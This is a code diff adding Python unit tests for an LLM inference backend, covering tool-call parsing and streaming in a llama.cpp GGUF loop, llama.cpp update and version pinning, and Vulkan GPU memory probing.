+    active tool names (like the safetensors loop and the mid-stream path), so ``foo``
+    (``web_search`` is the only enabled tool) is neither drained/parsed into a disabled
+    no-op nor forced into another generation turn."""
+    first_stream = [
+        _sse({"content": 'foo[ARGS]{"x":1} is just syntax.'}),
+        _done(),
+    ]
+    backend = _make_backend(monkeypatch, [first_stream], [])
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "x"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 2,
+        )
+    )
+
+    # No tool executed for the inactive name; a spurious no-op re-prompt would exhaust the
+    # single supplied stream and error.
+    assert calls == [], calls
+    assert not any(e.get("type") in ("tool_start", "tool_end") for e in events), events
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    # The inactive ``foo[ARGS]{...}`` is prose: the name-gated strip keeps the whole sentence.
+    assert any('foo[ARGS]{"x":1} is just syntax.' in t for t in content_texts), content_texts
+
+
+def test_gguf_inactive_rehearsal_before_active_call_executes_and_keeps_prose(monkeypatch):
+    """BUG X (#5704): an inactive ``foo[ARGS]{...}`` before a real ``web_search[ARGS]{...}``
+    in one delta must NOT swallow the real call; web_search executes while the inactive
+    rehearsal stays visible as prose."""
+    first_stream = [
+        _sse({"content": 'foo[ARGS]{"a":1} web_search[ARGS]{"query":"cats"}'}),
+        _done(),
+    ]
+    final_stream = [_sse({"content": "Found cats."}), _done()]
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], [])
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "search cats"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    # The real call runs; ``foo`` is not executed as a phantom disabled call.
+    assert calls == [("web_search", {"query": "cats"})], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    # The inactive rehearsal is preserved as prose; the active one is stripped.
+    assert any('foo[ARGS]{"a":1}' in t for t in content_texts), content_texts
+    assert all("web_search[ARGS]" not in t for t in content_texts), content_texts
+
+
+def test_gguf_rehearsal_detection_recognises_spent_one_shot_with_original_tools():
+    # Rehearsal detection is fed the ORIGINAL tool list, so a spent one-shot's re-emitted
+    # repeat is still detected (matching the strip gate) instead of blanking the turn.
+    from core.inference.llama_cpp import _gguf_has_genuine_tool_signal
+    from core.inference.tool_call_parser import TOOL_XML_SIGNALS
+
+    repeat = 'render_html[ARGS]{"code":"<html>x</html>"}'
+    active_only = [{"type": "function", "function": {"name": "web_search"}}]
+    original = active_only + [{"type": "function", "function": {"name": "render_html"}}]
+    assert not _gguf_has_genuine_tool_signal(repeat, TOOL_XML_SIGNALS, active_only)
+    assert _gguf_has_genuine_tool_signal(repeat, TOOL_XML_SIGNALS, original)
+
+
+def test_gguf_rehearsal_prefix_and_tail_hold_recognise_spent_one_shot():
+    # The BUFFERING prefix check and STREAMING/flush tail-holds use the ORIGINAL tool list,
+    # so a spent one-shot's split repeat is held rather than leaked as visible text.
+    from core.inference.llama_cpp import _held_rehearsal_tail_len, _is_rehearsal_prefix
+
+    active_only = [{"type": "function", "function": {"name": "web_search"}}]
+    original = active_only + [{"type": "function", "function": {"name": "render_html"}}]
+    assert not _is_rehearsal_prefix("render_html", active_only)
+    assert _is_rehearsal_prefix("render_html", original)
+    assert _held_rehearsal_tail_len("answer render_html", active_only) == 0
+    assert _held_rehearsal_tail_len("answer render_html", original) == len("render_html")
+
+
+def test_gguf_oversized_bare_json_not_leaked_and_executes(monkeypatch):
+    """An oversized bare-JSON call drains rather than streams, and still executes via the safety net."""
+
+    cap = 16384
+    big = "A" * (cap + 5000)
+    full = '{"name":"python","parameters":{"code":"' + big + '"}}'
+    first_stream = [_sse({"content": full[i : i + 2000]}) for i in range(0, len(full), 2000)]
+    first_stream.append(_done())
+    final_stream = [_sse({"content": "done"}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "OK"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "run"}],
+            tools = [{"type": "function", "function": {"name": "python"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert not any(t.lstrip().startswith('{"name') for t in content_texts), content_texts[:1]
+    assert calls and calls[0][0] == "python"
+    assert len(calls[0][1].get("code", "")) > cap
+
+
+def test_gguf_bare_json_call_not_replayed_in_next_turn_content(monkeypatch):
+    """After a bare-JSON call executes, the kept assistant message must not carry the raw call as content."""
+
+    import copy
+
+    first_stream = [
+        _sse({"content": '{"name":"web_search","parameters":{"query":"cats"}}'}),
+        _done(),
+    ]
+    final_stream = [_sse({"content": "Found."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", lambda *_a, **_k: "RESULT")
+
+    list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "cats"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 2,
+        )
+    )
+
+    assert len(payloads) >= 2
+    asst = [m for m in payloads[1]["messages"] if m.get("role") == "assistant"]
+    assert asst and not any('"name"' in (m.get("content") or "") for m in asst), asst
+
+
+def test_gguf_textual_fallback_caps_distinct_tool_calls_per_turn(monkeypatch):
+    """A single textual-fallback turn that parses many DISTINCT tool calls must be
+    capped at _MAX_TOOL_CALLS_PER_TURN (structured delta.tool_calls are grammar
+    bounded by llama-server; text parsed from content is not). Mirrors the
+    safetensors loop so one runaway turn cannot fan out into dozens of executions."""
+    from core.inference.llama_cpp import _MAX_TOOL_CALLS_PER_TURN
+
+    n = _MAX_TOOL_CALLS_PER_TURN + 4
+    blocks = "".join(
+        '<tool_call>{"name":"t%d","arguments":{"i":%d}}</tool_call>' % (i, i) for i in range(n)
+    )
+    first_stream = [_sse({"content": blocks}), _done()]
+    final_stream = [_sse({"content": "done"}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "OK"),
+    )
+
+    list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "go"}],
+            tools = [{"type": "function", "function": {"name": f"t{i}"}} for i in range(n)],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert len(calls) == _MAX_TOOL_CALLS_PER_TURN, [c[0] for c in calls]
+    # The cap keeps the first calls in order (no reordering / drop of leading ones).
+    assert [c[0] for c in calls] == [f"t{i}" for i in range(_MAX_TOOL_CALLS_PER_TURN)]
+
+
+def test_gguf_textual_fallback_collapses_duplicate_tool_calls(monkeypatch):
+    """Exact-duplicate textual calls in one turn collapse to a single execution."""
+    blocks = '<tool_call>{"name":"web_search","arguments":{"query":"cats"}}</tool_call>' * 5
+    first_stream = [_sse({"content": blocks}), _done()]
+    final_stream = [_sse({"content": "done"}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "OK"),
+    )
+
+    list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "cats"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert len(calls) == 1, [c[0] for c in calls]
+
+
+def test_gguf_drain_truncated_enabled_name_json_preserved_when_auto_heal_disabled(monkeypatch):
+    """Auto-Heal OFF keeps a truncated enabled-name fragment visible; ON suppresses it (strip gated on auto_heal_tool_calls)."""
+
+    trunc = '{"name":"web_search","parameters":{"query":"weather'
+
+    def _run(auto_heal):
+        stream = [_sse({"content": trunc}), _done()]
+        backend = _make_backend(monkeypatch, [stream], [])
+        calls: list[tuple[str, dict]] = []
+        monkeypatch.setattr(
+            "core.inference.tools.execute_tool",
+            lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"),
+        )
+        events = list(
+            backend.generate_chat_completion_with_tools(
+                messages = [{"role": "user", "content": "x"}],
+                tools = [{"type": "function", "function": {"name": "web_search"}}],
+                max_tool_iterations = 1,
+                auto_heal_tool_calls = auto_heal,
+            )
+        )
+        contents = "".join(e.get("text", "") for e in events if e.get("type") == "content")
+        return calls, contents
+
+    calls_off, contents_off = _run(False)
+    assert calls_off == [], calls_off
+    assert "web_search" in contents_off, contents_off
+
+    calls_on, contents_on = _run(True)
+    assert calls_on == [], calls_on
+    assert "web_search" not in contents_on, contents_on
+
+
+def test_gguf_valid_tool_calls_respect_max_tool_iterations(monkeypatch):
+    """Re-prompt slots must not extend the tool budget: stop after ``max_tool_iterations`` executed rounds."""
+    # More tool-call streams than the budget: if re-prompt slots leaked into the budget (the bug) the
+    # loop would run 2+3=5 rounds; honouring it stops after 2, then a tool-less final-answer pass.
+    streams = [
+        _structured_tool_call("web_search", {"query": f"q{i}"}, f"call_{i}") for i in range(6)
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, streams, payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"),
+    )
+
+    list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "search repeatedly"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 2,
+        )
+    )
+
+    # Exactly two executed tool rounds, then one final-answer pass.
+    assert len(calls) == 2, calls
+    assert len(payloads) == 3, len(payloads)
+    # The final pass is the budget-exhausted nudge and carries no tools.
+    assert _tool_names(payloads[2]) == [], _tool_names(payloads[2])
+    assert any(
+        m.get("role") == "user" and "used all available tool calls" in m.get("content", "")
+        for m in payloads[2]["messages"]
+    ), payloads[2]["messages"]
+
+
+# ── Live tool-call argument streaming (tool_args events) ─────────────────────
+
+
+def _python_tool_schema() -> list[dict]:
+    return [
+        {
+            "type": "function",
+            "function": {
+                "name": "python",
+                "description": "Run python code.",
+                "parameters": {
+                    "type": "object",
+                    "properties": {"code": {"type": "string"}},
+                    "required": ["code"],
+                },
+            },
+        }
+    ]
+
+
+def test_structured_tool_args_stream_to_provisional_card(monkeypatch):
+    """A large structured tool call must stream its arguments as tool_args events
+    to the provisional card (backlog that triggered the card, then each
+    fragment), while the executed call and the model's view stay exactly what the
+    accumulator built."""
+
+    code = "print('x')\n" + ("# pad\n" * 80)
+    args_json = json.dumps({"code": code})
+    call_id = "call_live_args"
+    split = _PROVISIONAL_ARGS_MIN_CHARS + 16
+    frag1, frag2, frag3 = (
+        args_json[:split],
+        args_json[split : split + 40],
+        args_json[split + 40 :],
+    )
+
+    def _tc_delta(fragment: str, with_header: bool) -> str:
+        entry: dict = {"index": 0, "function": {"arguments": fragment}}
+        if with_header:
+            entry.update({"id": call_id, "type": "function"})
+            entry["function"]["name"] = "python"
+        return _sse({"tool_calls": [entry]})
+
+    first_stream = [
+        _tc_delta(frag1, with_header = True),
+        _tc_delta(frag2, with_header = False),
+        _tc_delta(frag3, with_header = False),
+        _done(),
+    ]
+    second_stream = [_sse({"content": "Done."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, second_stream], payloads)
+
+    executed: list[tuple[str, dict]] = []
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        executed.append((name, arguments))
+        return "ok"
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "run it"}],
+            tools = _python_tool_schema(),
+            max_tool_iterations = 1,
+        )
+    )
+
+    starts = [e for e in events if e.get("type") == "tool_start"]
+    assert starts and starts[0]["tool_call_id"] == call_id
+
+    args_events = [e for e in events if e.get("type") == "tool_args"]
+    assert args_events, "no tool_args events were streamed"
+    assert all(e["tool_call_id"] == call_id for e in args_events)
+    # First event is the backlog, the rest raw fragments; together the args JSON.
+    assert args_events[0]["text"] == frag1
+    assert "".join(e["text"] for e in args_events) == args_json
+
+    # The streamed display path must not perturb execution or the model view.
+    assert executed == [("python", {"code": code})]
+    assistant_messages = [m for m in payloads[1]["messages"] if m.get("role") == "assistant"]
+    tc = assistant_messages[-1]["tool_calls"][0]
+    assert tc["id"] == call_id
+    # Controller re-serializes args (normalized JSON); parsed payload unchanged.
+    assert json.loads(tc["function"]["arguments"]) == {"code": code}
+
+
+def test_text_tool_call_streams_args_and_reconciles_card(monkeypatch):
+    """A TEXT (XML) tool call must stream its raw call text as tool_args under the
+    id the stream-end parser assigns ("call_0"), so the provisional card and the
+    final tool_start reconcile."""
+
+    code = "print('hello')\n" + ("# filler\n" * 60)
+    call_json = json.dumps({"name": "python", "arguments": {"code": code}})
+    call_text = f"<tool_call>{call_json}</tool_call>"
+    chunks = [call_text[i : i + 48] for i in range(0, len(call_text), 48)]
+    first_stream = [_sse({"content": chunk}) for chunk in chunks] + [_done()]
+    second_stream = [_sse({"content": "Done."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, second_stream], payloads)
+
+    executed: list[tuple[str, dict]] = []
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        executed.append((name, arguments))
+        return "ok"
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "run it"}],
+            tools = _python_tool_schema(),
+            max_tool_iterations = 1,
+        )
+    )
+
+    starts = [e for e in events if e.get("type") == "tool_start"]
+    assert starts, "no tool_start emitted"
+    # Provisional card first (parser's first-call id), then the reconciling start.
+    assert starts[0]["tool_call_id"] == "call_0"
+    assert starts[0]["arguments"] == {}
+    assert starts[-1]["tool_call_id"] == "call_0"
+
+    args_events = [e for e in events if e.get("type") == "tool_args"]
+    assert args_events, "no tool_args events for the text call"
+    assert all(e["tool_call_id"] == "call_0" for e in args_events)
+    streamed = "".join(e["text"] for e in args_events)
+    # Streamed text is the drained call (display only); it must never leak into
+    # content events.
+    assert '"name": "python"' in streamed
+    assert executed == [("python", {"code": code})]
+    content_events = [e for e in events if e.get("type") == "content"]
+    assert not any("<tool_call>" in e["text"] for e in content_events)
+
+
+def test_ordinary_json_answer_streams_no_tool_args(monkeypatch):
+    """A large ordinary JSON answer (no enabled tool name) must not spawn a
+    provisional card or tool_args events; it stays a normal content answer."""
+
+    answer = json.dumps({"result": "fine", "data": ["x" * 40] * 12, "note": "not a tool call"})
+    chunks = [answer[i : i + 64] for i in range(0, len(answer), 64)]
+    stream = [_sse({"content": chunk}) for chunk in chunks] + [_done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [stream], payloads)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "give me json"}],
+            tools = _python_tool_schema(),
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert not [e for e in events if e.get("type") == "tool_args"]
+    assert not [e for e in events if e.get("type") == "tool_start"]
+    content_events = [e for e in events if e.get("type") == "content"]
+    assert content_events and answer in content_events[-1]["text"]
+
+
+def test_provisional_text_card_closed_when_parse_fails(monkeypatch):
+    """A >=256-char enabled-name text sniff opens a provisional card; if the
+    drained text then fails to parse (auto-heal off, truncated call), the
+    DRAINING false-positive path must close the card with a tool_end instead of
+    leaving it spinning forever."""
+
+    # Truncated mid-arguments and never closed: unparseable without healing.
+    call_text = '<tool_call>{"name": "python", "arguments": {"code": "' + "x" * (
+        _PROVISIONAL_ARGS_MIN_CHARS + 64
+    )
+    chunks = [call_text[i : i + 48] for i in range(0, len(call_text), 48)]
+    stream = [_sse({"content": chunk}) for chunk in chunks] + [_done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [stream], payloads)
+
+    executed: list[tuple[str, dict]] = []
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        executed.append((name, arguments))
+        return "ok"
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "run it"}],
+            tools = _python_tool_schema(),
+            max_tool_iterations = 1,
+            auto_heal_tool_calls = False,
+        )
+    )
+
+    starts = [e for e in events if e.get("type") == "tool_start"]
+    ends = [e for e in events if e.get("type") == "tool_end"]
+    assert starts and starts[0]["tool_call_id"] == "call_0"
+    assert executed == []  # nothing parsed, nothing ran
+    assert ends, "provisional card left dangling (no tool_end)"
+    assert ends[-1]["tool_call_id"] == "call_0"
diff --git a/studio/backend/tests/test_llama_cpp_update.py b/studio/backend/tests/test_llama_cpp_update.py
index 4ceffbf75b..83ea07a066 100644
--- a/studio/backend/tests/test_llama_cpp_update.py
+++ b/studio/backend/tests/test_llama_cpp_update.py
@@ -393,6 +393,9 @@ def test_start_update_source_build_installs_prebuilt(monkeypatch, tmp_path):
     assert "--llama-tag" in cmd and "latest" in cmd
     assert cmd[cmd.index("--rocm-gfx") + 1] == "gfx110x"
     assert "--simple-policy" not in cmd and "--cpu-fallback" not in cmd
+    # No pin: source-build detection and the unpinned apply share the same
+    # "latest" resolver, so they already agree.
+    assert "--published-release-tag" not in cmd
 
 
 def test_start_update_happy_path(monkeypatch, tmp_path):
@@ -448,6 +451,48 @@ def test_start_update_happy_path(monkeypatch, tmp_path):
     assert popen_kwargs["env"]["UNSLOTH_PROGRESS_PERCENT_STEP"] == "5"
 
 
+def test_start_update_preserves_vulkan_via_env(monkeypatch, tmp_path):
+    # A Vulkan install (marker asset carries 'vulkan') must re-assert
+    # UNSLOTH_FORCE_VULKAN on update, or detect_host on a GPU box re-routes to
+    # CUDA/ROCm and silently replaces the Vulkan build.
+    install_dir = tmp_path / "llama.cpp"
+    binary = _write_install(
+        install_dir,
+        "b9493",
+        repo = "ggml-org/llama.cpp",
+        asset = "llama-b9493-bin-ubuntu-vulkan-x64.tar.gz",
+    )
+    monkeypatch.setattr(upd, "_find_binary", lambda: binary)
+    monkeypatch.setattr(upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py")
+    monkeypatch.setattr(freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9518")
+
+    def _on_start(cmd):
+        _write_install(
+            install_dir,
+            "b9518",
+            repo = "ggml-org/llama.cpp",
+            asset = "llama-b9518-bin-ubuntu-vulkan-x64.tar.gz",
+        )
+
+    popen_kwargs: dict = {}
+    _patch_installer_popen(
+        monkeypatch,
+        lines = ["installed\n"],
+        on_start = _on_start,
+        captured_kwargs = popen_kwargs,
+    )
+
+    assert upd.start_update()["started"] is True
+    deadline = time.time() + 10
+    while time.time() < deadline:
+        job = upd.get_update_status()["job"]
+        if job["state"] in ("success", "error"):
+            break
+        time.sleep(0.05)
+    assert job["state"] == "success", job
+    assert popen_kwargs["env"]["UNSLOTH_FORCE_VULKAN"] == "1"
+
+
 def test_start_update_reports_full_release_tag(monkeypatch, tmp_path):
     install_dir = tmp_path / "llama.cpp"
     binary = _write_install(install_dir, "b9595")
@@ -477,6 +522,57 @@ def test_start_update_reports_full_release_tag(monkeypatch, tmp_path):
     assert "Updated llama.cpp to b9596-mix-e6f2453." in job["message"]
 
 
+def _run_start_update_to_completion():
+    res = upd.start_update()
+    assert res["started"] is True
+    deadline = time.time() + 10
+    while time.time() < deadline:
+        job = upd.get_update_status()["job"]
+        if job["state"] in ("success", "error"):
+            return job
+        time.sleep(0.05)
+    return upd.get_update_status()["job"]
+
+
+def test_start_update_pinned_tag_mismatch_fails(monkeypatch, tmp_path):
+    # Installer stays on the pinned repo but produces a different tag -> it
+    # ignored the pin (the silent mismatch this pin exists to prevent). Fail loud.
+    monkeypatch.setattr(sys, "platform", "linux")
+    install_dir = tmp_path / "llama.cpp"
+    binary = _write_install(install_dir, "b9595")
+    monkeypatch.setattr(upd, "_find_binary", lambda: binary)
+    monkeypatch.setattr(upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py")
+    monkeypatch.setattr(
+        freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9601-mix-a0e2906"
+    )
+    _patch_installer_popen(
+        monkeypatch,
+        on_start = lambda cmd: _write_install(install_dir, "b9500", release_tag = "b9500-mix-deadbee"),
+    )
+    job = _run_start_update_to_completion()
+    assert job["state"] == "error", job
+    assert "b9601-mix-a0e2906" in (job["error"] or "")
+
+
+def test_start_update_pinned_reroute_to_other_repo_ok(monkeypatch, tmp_path):
+    # A Vulkan/Intel host reroutes fork->upstream and drops the pin, installing a
+    # different-repo tag. Legitimate: the pin check must not flag the repo switch.
+    monkeypatch.setattr(sys, "platform", "linux")
+    install_dir = tmp_path / "llama.cpp"
+    binary = _write_install(install_dir, "b9595", repo = "unslothai/llama.cpp")
+    monkeypatch.setattr(upd, "_find_binary", lambda: binary)
+    monkeypatch.setattr(upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py")
+    monkeypatch.setattr(
+        freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9601-mix-a0e2906"
+    )
+    _patch_installer_popen(
+        monkeypatch,
+        on_start = lambda cmd: _write_install(install_dir, "b9601", repo = "ggml-org/llama.cpp"),
+    )
+    job = _run_start_update_to_completion()
+    assert job["state"] == "success", job
+
+
 def test_start_update_installer_failure_reports_error(monkeypatch, tmp_path):
     install_dir = tmp_path / "llama.cpp"
     binary = _write_install(install_dir, "b9493")
@@ -594,9 +690,10 @@ def test_install_cmd_fork_rocm_marker_forwards_has_rocm(monkeypatch, tmp_path):
 
 
 def test_install_cmd_ggml_cpu_marker_has_no_cpu_fallback(monkeypatch, tmp_path):
-    # CPU installs come from ggml-org. Re-running into the same install-dir/repo
-    # reproduces the same CPU bundle; --cpu-fallback (which force-drops GPU
-    # detection) is reserved for setup.sh's arm64 rescue and must not appear here.
+    # Legacy CPU installs recorded a ggml-org marker (new installs use the fork).
+    # Re-running into the same install-dir/repo reproduces the same CPU bundle;
+    # --cpu-fallback (which force-drops GPU detection) is reserved for setup.sh's
+    # arm64 rescue and must not appear here.
     cmd = _capture_install_cmd(
         monkeypatch,
         tmp_path,
@@ -620,6 +717,33 @@ def test_install_cmd_cuda_marker_minimal_and_backward_compatible(monkeypatch, tm
     assert "--cpu-fallback" not in cmd
 
 
+def test_install_cmd_pins_offered_release_tag(monkeypatch, tmp_path):
+    # Apply must install exactly the release the banner offered. The installer's
+    # own "latest" comes from commit-date-ordered sources, which can lag the
+    # published_at-newest tag detection picked; unpinned, that lag makes Update
+    # reinstall the current build while the banner never clears.
+    monkeypatch.setattr(sys, "platform", "linux")
+    cmd = _capture_install_cmd(monkeypatch, tmp_path, latest = "b9601-mix-a0e2906")
+    # The full release identity is pinned, not the bare upstream base.
+    assert cmd[cmd.index("--published-release-tag") + 1] == "b9601-mix-a0e2906"
+
+
+def test_install_cmd_pins_on_windows(monkeypatch, tmp_path):
+    # The darwin exemption must not leak to other platforms.
+    monkeypatch.setattr(sys, "platform", "win32")
+    cmd = _capture_install_cmd(monkeypatch, tmp_path)
+    assert cmd[cmd.index("--published-release-tag") + 1] == "b9518"
+
+
+def test_install_cmd_does_not_pin_on_macos(monkeypatch, tmp_path):
+    # A pinned tag disables the installer's older-release walk-back, which macOS
+    # needs to skip prebuilts built for a newer macOS than the host.
+    monkeypatch.setattr(sys, "platform", "darwin")
+    cmd = _capture_install_cmd(monkeypatch, tmp_path)
+    assert "--published-release-tag" not in cmd
+    assert "--llama-tag" in cmd and "latest" in cmd
+
+
 # --- refusal + maintenance-state coordination ---
 
 
diff --git a/studio/backend/tests/test_llama_cpp_vulkan_probe.py b/studio/backend/tests/test_llama_cpp_vulkan_probe.py
new file mode 100644
index 0000000000..92aaab4873
--- /dev/null
+++ b/studio/backend/tests/test_llama_cpp_vulkan_probe.py
@@ -0,0 +1,193 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Vulkan free-VRAM reader regression tests on a synthetic probe output.
+
+Covers the post-probe handling in
+``LlamaCppBackend._get_gpu_free_memory_vulkan``:
+
+  * integrated GPUs (probe reports is_igpu=1) leave a flat per-device host
+    margin matching llama.cpp's --fit-target, so context auto-sizing can't
+    over-commit shared RAM, and report total 0 (shared RAM is not a budget),
+  * discrete GPUs (is_igpu=0) keep their free untouched and pass their real
+    total through so the fit can reserve absolute headroom,
+  * an inherited ``GGML_VK_VISIBLE_DEVICES`` is passed through to ggml unchanged
+    (ggml applies it), not stripped or filtered in Python -- the probe reports
+    ggml's compact ordinal, which load_model pins with ``--device Vulkan<i>``.
+
+The ggml Vulkan library is never loaded: subprocess.run is mocked to emit
+the tab-separated lines the real ``_vulkan_probe.py`` would print.
+"""
+
+from __future__ import annotations
+
+import subprocess
+import sys
+import types as _types
+from pathlib import Path
+from unittest import mock
+
+import pytest
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+import importlib as _importlib  # noqa: E402
+
+
+def _maybe_stub(name: str, builder):
+    try:
+        _importlib.import_module(name)
+    except ImportError:
+        sys.modules[name] = builder()
+
+
+def _build_loggers_stub():
+    m = _types.ModuleType("loggers")
+    m.get_logger = lambda name: __import__("logging").getLogger(name)
+    return m
+
+
+_maybe_stub("loggers", _build_loggers_stub)
+_maybe_stub("structlog", lambda: _types.ModuleType("structlog"))
+
+from core.inference import llama_cpp as _llama_mod  # noqa: E402
+from core.inference.llama_cpp import (  # noqa: E402
+    LlamaCppBackend,
+    _llama_lib_dir,
+    _vulkan_lib_filename,
+)
+
+MIB = 1024 * 1024
+GIB = 1024 * MIB
+
+
+def _make_vulkan_install(tmp_path: Path) -> str:
+    """A binary whose sibling dir holds the Vulkan ggml lib, so the
+    reader's ``is_vulkan_backend`` sibling-file check passes."""
+    bindir = tmp_path / "build" / "bin"
+    bindir.mkdir(parents = True)
+    binary = bindir / ("llama-server.exe" if sys.platform == "win32" else "llama-server")
+    binary.write_bytes(b"stub")
+    (bindir / _vulkan_lib_filename()).write_bytes(b"stub")
+    return str(binary)
+
+
+def _mock_probe(rows: list[str], captured_env: dict | None = None):
+    """Patch subprocess.run so the _vulkan_probe.py call returns ``rows``
+    (already tab-formatted), recording the env it was launched with."""
+    real_run = subprocess.run
+
+    def fake_run(cmd, *args, **kwargs):
+        if isinstance(cmd, list) and any("_vulkan_probe" in str(c) for c in cmd):
+            if captured_env is not None:
+                captured_env.clear()
+                captured_env.update(kwargs.get("env") or {})
+            return subprocess.CompletedProcess(
+                args = cmd, returncode = 0, stdout = "\n".join(rows), stderr = ""
+            )
+        return real_run(cmd, *args, **kwargs)
+
+    return mock.patch("subprocess.run", side_effect = fake_run)
+
+
+def _row(
+    idx: int,
+    free_bytes: int,
+    is_igpu: int,
+    total_bytes: int = 0,
+) -> str:
+    return f"{idx}\t{free_bytes}\t{is_igpu}\t{total_bytes}"
+
+
+def test_integrated_gpu_leaves_host_margin(tmp_path):
+    binary = _make_vulkan_install(tmp_path)
+    # iGPU with 30 GiB free; reserve a flat 1024 MiB (llama.cpp --fit-target).
+    # total stays 0: shared system RAM is not a VRAM budget for the fit.
+    rows = [_row(0, 30 * GIB, is_igpu = 1, total_bytes = 32 * GIB)]
+    with _mock_probe(rows):
+        gpus = LlamaCppBackend._get_gpu_free_memory_vulkan(binary)
+    assert gpus == [(0, 30 * 1024 - 1024, 0)], gpus
+
+
+def test_discrete_gpu_free_is_untouched_and_total_passed_through(tmp_path):
+    binary = _make_vulkan_install(tmp_path)
+    # 6 GiB free on a partially occupied 24 GiB card: free is untouched and the
+    # real total flows through so the fit reserves absolute headroom (CUDA/ROCm
+    # parity) instead of the looser free*frac budget.
+    rows = [_row(0, 6 * GIB, is_igpu = 0, total_bytes = 24 * GIB)]
+    with _mock_probe(rows):
+        gpus = LlamaCppBackend._get_gpu_free_memory_vulkan(binary)
+    assert gpus == [(0, 6 * 1024, 24 * 1024)], gpus
+
+
+def test_large_discrete_gpu_is_untouched(tmp_path):
+    binary = _make_vulkan_install(tmp_path)
+    # A 48 GiB discrete card stays untouched regardless of size; only the
+    # iGPU flag triggers the host margin, never a VRAM/RAM ratio.
+    rows = [_row(0, 47 * GIB, is_igpu = 0, total_bytes = 48 * GIB)]
+    with _mock_probe(rows):
+        gpus = LlamaCppBackend._get_gpu_free_memory_vulkan(binary)
+    assert gpus == [(0, 47 * 1024, 48 * 1024)], gpus
+
+
+def test_inherited_visible_devices_mask_is_passed_through_to_probe(tmp_path, monkeypatch):
+    # The mask is NOT stripped or filtered in Python: ggml parses it in raw
+    # physical-device space while this probe reports the compact post-filter
+    # ordinal, so mixing spaces would be wrong. It is passed through unchanged
+    # so ggml applies it to the same device list the launch will enumerate.
+    binary = _make_vulkan_install(tmp_path)
+    monkeypatch.setenv("GGML_VK_VISIBLE_DEVICES", "1")
